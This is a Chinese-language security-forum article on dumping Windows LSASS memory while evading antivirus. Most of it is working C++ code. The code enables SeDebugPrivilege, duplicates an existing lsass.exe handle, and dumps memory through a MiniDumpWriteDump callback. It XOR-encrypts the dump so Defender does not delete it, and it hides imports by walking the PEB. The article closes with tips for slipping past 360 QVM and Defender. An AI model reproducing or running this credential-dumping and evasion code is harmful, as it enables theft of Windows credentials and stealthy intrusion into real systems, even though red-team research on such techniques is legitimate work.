DumpLsass免杀
Arcueid 发表于 浙江 技术文章 2256浏览 · 2024-09-06 00:49

常规DumpLsass流程

常规DumpLsass流程如下

  1. 获取相关token权限
  2. 拿到lsass进程句柄
  3. 通过MiniDumpWriteDumpAPI 来DumpLsass

Red Team Note上给出的代码如下

#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>

#pragma comment (lib, "Dbghelp.lib")



using namespace std;

int main() {
    DWORD lsassPID = 0;
    HANDLE lsassHandle = NULL;

    // Open a handle to lsass.dmp - this is where the minidump file will be saved to
    HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    // Find lsass PID   
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
        wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
    }

    // Open handle to lsass.exe process
    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);

    // Create minidump
    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

    if (isDumped) {
        cout << "[+] lsass dumped successfully!" << endl;
    }

    return 0;
}

cmd下直接运行 并不能转储出来

而powershell可以 因为DumpLsass需要SeDebugPrivilege权限 管理员Powershell默认是有的

如果想要在cmd中直接运行就需要提升进程权限

提升进程权限

  1. 通过NtOpenProcessToken获得当前进程的token
  2. 通过NtQueryInformationToken判断token是否被提升
  3. 获取token的所有特权 遍历到DebugPrivilege后通过NtAdjustPrivilegesToken设置为SE_PRIVILEGE_ENABLED
BOOL SetDebugPrivilege()
{

    HANDLE token = NULL;

    NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token);

    TOKEN_ELEVATION tokenElevation = { 0 };
    DWORD tokenElevationSize = sizeof(TOKEN_ELEVATION);

    NtQueryInformationToken(token, TokenElevation, &tokenElevation, sizeof(tokenElevation), &tokenElevationSize);

    if (tokenElevation.TokenIsElevated)
    {
        DWORD tokenPrivsSize = 0;

        NtQueryInformationToken(token, TokenPrivileges, NULL, NULL, &tokenPrivsSize);

        PTOKEN_PRIVILEGES tokenPrivs = (PTOKEN_PRIVILEGES)new BYTE[tokenPrivsSize];

        NtQueryInformationToken(token, TokenPrivileges, tokenPrivs, tokenPrivsSize, &tokenPrivsSize);

        for (DWORD i = 0; i < tokenPrivs->PrivilegeCount; i++)
        {
            if (tokenPrivs->Privileges[i].Luid.LowPart == 0x14)
            {
                tokenPrivs->Privileges[i].Attributes |= SE_PRIVILEGE_ENABLED;

                NtAdjustPrivilegesToken(token, FALSE, tokenPrivs, tokenPrivsSize, NULL, NULL);
            }
        }

        delete tokenPrivs;
    }

    NtClose(token);

    return TRUE;
}

这里直接写的0x14 如果想启用别的权限 可以通过API LookupPrivilegeValue 来通过名称查找LUID

进程遍历

  1. CreateToolhelp32Snapshot 获取进程快照
  2. Process32First 遍历快照中的进程 获取lsass.exe的PID
DWORD lsassPID = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, charToLPCWSTR("lsass.exe")) != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
        std::wcout << "[+] Got PID: " << lsassPID << std::endl;
    }

MiniDump

通过MiniDumpWriteDump读取lsass进程内存,并将结果保存到文件

MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

对抗点

这里我们就考虑使用MiniDumpWriteDump

  1. lsass内存的读
  2. dmp文件的写
  3. 导出表中的MiniDumpWriteDump

获取lsass句柄

本来用pypykatz的思路不直接打开lsass 但是这样很可能找不到相关的进程 从而无法dump
比如我本机就只有一个AsusSoftwareManager 几台虚拟机上都没有相关进程有对lsass.exe的访问句柄

那还是常规的通过遍历进程找到lsass.exe

1. 启用SE_PRIVILEGE_ENABLED进程权限

代码上面写过 不贴了

2. 遍历pid打开lsass.exe

虽然是打开进程 但是我们最终不直接dump这个
通过NtOpenProcessPROCESS_DUP_HANDLE权限打开进程
因为后续需要用NtDuplicateObject复制句柄

const char lasStr[] = { 'l','s','a','s','s','.','e','x','e','\0' };

Process32First(hSnapshot, &pe32);
do {

    if (_wcsicmp(pe32.szExeFile, charToLPCWSTR(lasStr)) != 0) {
        continue;
    }
    pid = pe32.th32ProcessID;

    CLIENT_ID clientId = { 0 };
    clientId.UniqueProcess = (HANDLE)pid;
    clientId.UniqueThread = 0;

    OBJECT_ATTRIBUTES objAttr = { 0 };
    InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
    NtOpenProcess(&processHandle, PROCESS_DUP_HANDLE, &objAttr, &clientId);
    if (!processHandle) {
        printf("Could not open PID %d! (Don't try to open a system process.)\n", pid);
        continue;
    }

} while (Process32Next(hSnapshot, &pe32));

3. 通过NtQuerySystemInformation来获取所有进程打开的句柄及句柄的PID信息

http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FToken%2FNtAdjustPrivilegesToken.html

加载需要用到的几个ntdll 这里的hlpGetProcAddress放在后面导入表隐藏说

PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)hlpGetProcAddress(ntdll, NtQuerySystemInformationStr);
PNtDuplicateObject NtDuplicateObject = (PNtDuplicateObject)hlpGetProcAddress(ntdll, NtDuplicateObjectStr);
PNtQueryObject NtQueryObject = (PNtQueryObject)hlpGetProcAddress(ntdll, NtQueryObjectStr);
myNtOpenProcess NtOpenProcess = (myNtOpenProcess)hlpGetProcAddress(ntdll, Op3npr0);

定义函数和相关枚举 这里枚举的名字注意改改避免重定义 然后定义enum class避免和winnt.h中的重定义

typedef enum class _SYSTEM_INFORMATION_CLASS1 {
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemPathInformation,
    SystemProcessInformation,
    SystemCallCountInformation,
    SystemDeviceInformation,
    SystemProcessorPerformanceInformation,
    SystemFlagsInformation,
    SystemCallTimeInformation,
    SystemModuleInformation,
    SystemLocksInformation,
    SystemStackTraceInformation,
    SystemPagedPoolInformation,
    SystemNonPagedPoolInformation,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPageFileInformation,
    SystemVdmInstemulInformation,
    SystemVdmBopInformation,
    SystemFileCacheInformation,
    SystemPoolTagInformation,
    SystemInterruptInformation,
    SystemDpcBehaviorInformation,
    SystemFullMemoryInformation,
    SystemLoadGdiDriverInformation,
    SystemUnloadGdiDriverInformation,
    SystemTimeAdjustmentInformation,
    SystemSummaryMemoryInformation,
    SystemNextEventIdInformation,
    SystemEventIdsInformation,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemExtendServiceTableInformation,
    SystemPrioritySeperation,
    SystemPlugPlayBusInformation,
    SystemDockInformation,
    SystemPowerInformation,
    SystemProcessorSpeedInformation,
    SystemCurrentTimeZoneInformation,
    SystemLookasideInformation
} SYSTEM_INFORMATION_CLASS1, * PSYSTEM_INFORMATION_CLASS1;

typedef NTSTATUS(NTAPI* PNtQuerySystemInformation)(
    IN SYSTEM_INFORMATION_CLASS1 SystemInformationClass,
    OUT PVOID               SystemInformation,
    IN ULONG                SystemInformationLength,
    OUT PULONG              ReturnLength OPTIONAL
    );

typedef struct _SYSTEM_HANDLE {
    ULONG       ProcessId;
    BYTE        ObjectTypeNumber;
    BYTE        Flags;
    USHORT      Handle;
    PVOID       Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG HandleCount;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef NTSTATUS(NTAPI* PNtDuplicateObject)(
    HANDLE SourceProcessHandle,
    HANDLE SourceHandle,
    HANDLE TargetProcessHandle,
    PHANDLE TargetHandle,
    ACCESS_MASK DesiredAccess,
    ULONG Attributes,
    ULONG Options
    );

typedef enum class _OBJECT_INFORMATION_CLASS1 {
    ObjectBasicInformation,
    ObjectNameInformation,
    ObjectTypeInformation,
    ObjectAllInformation,
    ObjectDataInformation
} OBJECT_INFORMATION_CLASS1, * POBJECT_INFORMATION_CLASS1;

typedef enum _POOL_TYPE {
    NonPagedPool,
    PagedPool,
    NonPagedPoolMustSucceed,
    DontUseThisType,
    NonPagedPoolCacheAligned,
    PagedPoolCacheAligned,
    NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_TYPE_INFORMATION {
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef NTSTATUS(NTAPI* PNtQueryObject)(
    IN HANDLE               ObjectHandle,
    IN OBJECT_INFORMATION_CLASS1 ObjectInformationClass,
    OUT PVOID               ObjectInformation,
    IN ULONG                Length,
    OUT PULONG              ResultLength);

NtQuerySystemInformation获得所有的句柄

while ((status = NtQuerySystemInformation(
    _SYSTEM_INFORMATION_CLASS1::SystemHandleInformation,
    handleInfo,
    handleInfoSize,
    NULL
)) == STATUS_INFO_LENGTH_MISMATCH)
    handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

4. 遍历句柄

for (i = 0; i < handleInfo->HandleCount; i++)
{
    SYSTEM_HANDLE handle = handleInfo->Handles[i];
    HANDLE dupHandle = NULL;
    POBJECT_TYPE_INFORMATION objectTypeInfo;
    PVOID objectNameInfo;
    UNICODE_STRING objectName;
    ........

}

5. 通过NtDuplicateObject将句柄存储到dupHandle


NtDuplicateObject
参数分别为 以PROCESS_DUP_HANDLE权限打开的进程 要复制的句柄 目标进程 复制得到的句柄 访问权限 另外两个无所谓

status = NtDuplicateObject(processHandle, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0);

if (status != 0) {
    continue;
}

此时当前进程中已存在复制的句柄

5. 利用NtQueryObject判断句柄是否为进程句柄

也就是Type是否为Process
再通过QueryFullProcessImageName判断是否是我们需要的

const wchar_t w_lasStr[] = { 'l','s','a','s','s','.','e','x','e','\0' };

objectNameInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
status = NtQueryObject(dupHandle, _OBJECT_INFORMATION_CLASS1::ObjectTypeInformation, objectNameInfo, 0x1000, NULL);
if (status != 0) {
    CloseHandle(dupHandle);
    continue;
}

UNICODE_STRING objectType = *(PUNICODE_STRING)objectNameInfo;
wchar_t path[MAX_PATH];
DWORD maxpath = MAX_PATH;
if (wcsstr(objectType.Buffer, L"Process") != NULL) {
    QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath);
    if (wcsstr(path, w_lasStr) != NULL) {
        ...
    }
}

6. 利用NtQueryObject判断句柄是否为进程句柄

MiniDump

typedef BOOL(WINAPI* PMiniDumpWriteDump)(
    IN HANDLE hProcess,
    IN DWORD ProcessId,
    IN HANDLE hFile,
    IN MINIDUMP_TYPE DumpType,
    IN PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam OPTIONAL,
    IN PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam OPTIONAL,
    IN PMINIDUMP_CALLBACK_INFORMATION CallbackParam OPTIONAL
    );

const char miniDumpStr[] = { 'M','i','n','i','D','u','m','p','W','r','i','t','e','D','u','m','p','\0' };
const char strDMP[] = { 'r','e','s','u','l','t','.','b','i','n','\0' };
PMiniDumpWriteDump MiniDumpWriteDump = (PMiniDumpWriteDump)(GetProcAddress(LoadLibrary(charToLPCWSTR("dbghelp.dll")), miniDumpStr));


HANDLE outFile = NULL;

WCHAR chDmpFile[MAX_PATH] = L"\\??\\C:\\";
wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), charToLPCWSTR(strDMP));
UNICODE_STRING uFileName;
RtlInitUnicodeString(&uFileName, chDmpFile);
OBJECT_ATTRIBUTES FileObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock));
InitializeObjectAttributes(&FileObjectAttributes, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

ntCreateFile(&outFile, FILE_GENERIC_WRITE, &FileObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
MiniDumpWriteDump(dupHandle, NULL, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

7. 加密后输出

上面的代码已经可以实现dumpLsass了

但是在defender环境下转储的lsass如果不加密会直接杀

这里使用回调函数将每次的dump保存到缓冲区

DWORD bytesWritten = 0;
DWORD bytesRead = 0;
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 1024);

BOOL CALLBACK minidumpCallback(
    __in     PVOID callbackParam,
    __in     const PMINIDUMP_CALLBACK_INPUT callbackInput,
    __inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
    LPVOID destination = 0, source = 0;
    DWORD bufferSize = 0;

    switch (callbackInput->CallbackType)
    {
    case IoStartCallback:
        callbackOutput->Status = S_FALSE;
        break;

         //Gets called for each lsass process memory read operation
    case IoWriteAllCallback:
        callbackOutput->Status = S_OK;

        // A chunk of minidump data that's been jus read from lsass. 
        // This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
        // We will simply save it to dumpBuffer.
        source = callbackInput->Io.Buffer;
        // Calculate location of where we want to store this part of the dump.
        // Destination is start of our dumpBuffer + the offset of the minidump data
        destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

        // Size of the chunk of minidump that's just been read.
        bufferSize = callbackInput->Io.BufferBytes;
        bytesRead += bufferSize;

        RtlCopyMemory(destination, source, bufferSize);
        break;

    case IoFinishCallback:
        callbackOutput->Status = S_OK;
        break;

    default:
        return true;
    }
    return TRUE;
}


MINIDUMP_CALLBACK_INFORMATION callbackInfo;
SecureZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = minidumpCallback;
callbackInfo.CallbackParam = NULL;
MiniDumpWriteDump(dupHandle, NULL, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);

完了异或一下

for (i = 0; i < bytesRead; i++) {
((BYTE*)dumpBuffer)[i] ^= 0x17; 
}
BOOL writeSuccess = WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL);

效果如下

导入表隐藏

通过loadlibrary和getprocaddress动态获取函数

ntdll的获取在这里没有用原生的loadlibrary

HMODULE WINAPI hlpGetModuleHandle(LPCWSTR sModuleName) {
    // get the offset of Process Environment Block
#ifdef _M_IX86 
    PEB* ProcEnvBlk = (PEB*)__readfsdword(0x30);
#else
    PEB* ProcEnvBlk = (PEB*)__readgsqword(0x60);
#endif
    // return base address of a calling module
    if (sModuleName == NULL)
        return (HMODULE)(ProcEnvBlk->ImageBaseAddress);
    PEB_LDR_DATA* Ldr = ProcEnvBlk->Ldr;
    LIST_ENTRY* ModuleList = NULL;
    ModuleList = &Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* pStartListEntry = ModuleList->Flink;
    for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {
        // get current Data Table Entry
        LDR_DATA_TABLE_ENTRY* pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        // check if module is found and return its base address
        if (_wcsicmp(pEntry->BaseDllName.Buffer, sModuleName) == 0)
            return (HMODULE)pEntry->DllBase;
    }
    // otherwise:
    return NULL;
}

遍历PEB的ldr拿到指定dll

过qvm

qvm主要是判断你这个文件是否是正常文件

正经文件有的你都有就行了

icon version 签名 该加的都加上

2024-09-05 过核晶

加vmp后过defender

参考

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump-to-memory-using-minidump-callbacks
https://github.com/gitjdm/dumper2020
https://github.com/genghiskMSFT/psswin32
https://github.com/outflanknl/Dumpert
https://github.com/b4rth0v5k1/Night_Walker
https://mp.weixin.qq.com/s/Md2fP95Dmm9YvtWqjVYxvg
https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
https://github.com/skelsec/pypykatz

0 条评论
某人
表情
可输入 255